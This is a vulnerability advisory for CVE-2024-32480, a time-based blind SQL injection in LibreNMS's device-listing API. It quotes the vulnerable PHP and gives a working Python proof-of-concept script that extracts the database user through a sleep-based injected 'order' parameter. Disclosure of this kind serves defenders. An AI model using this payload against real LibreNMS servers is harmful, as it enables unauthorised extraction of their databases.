CVE-2024-32480: LibreNMS's Time-Based Blind SQL injection leads to database extraction

Summary Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details in file apifunctions.php, line 307 for function listdevices

php $order = $request->get('order'); $type = $request->get('type'); $query = $request->get('query'); $param = [];

if (empty($order)) { $order = 'hostname'; }

if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) { $order = 'd.' . $order . ' ASC'; } / ... / $devices = []; $devquery = "SELECT $select FROM devices AS d $join WHERE $sql GROUP BY d.hostname ORDER BY $order"; foreach (dbFetchRows($devquery, $param) as $device) { The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC For example. this PoC is get current db user python import string import requests

headers = { 'X-Auth-Token': 'tokenstring' } req = requests.Session() payloads = '-@.,' + string.digits + string.asciiletters url = 'http://host/api/v0/devices?order=deviceid and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.deviceid' result = 'user: ' for i in range(10): for payload in payloads: try: req.get(url % (i+1, ord(payload)), headers=headers, timeout=3) except requests.exceptions.ReadTimeout as ex: result += payload print(result), except Exception as e: pass !QQ截图20240306181404

Impact Attacker can extract whole database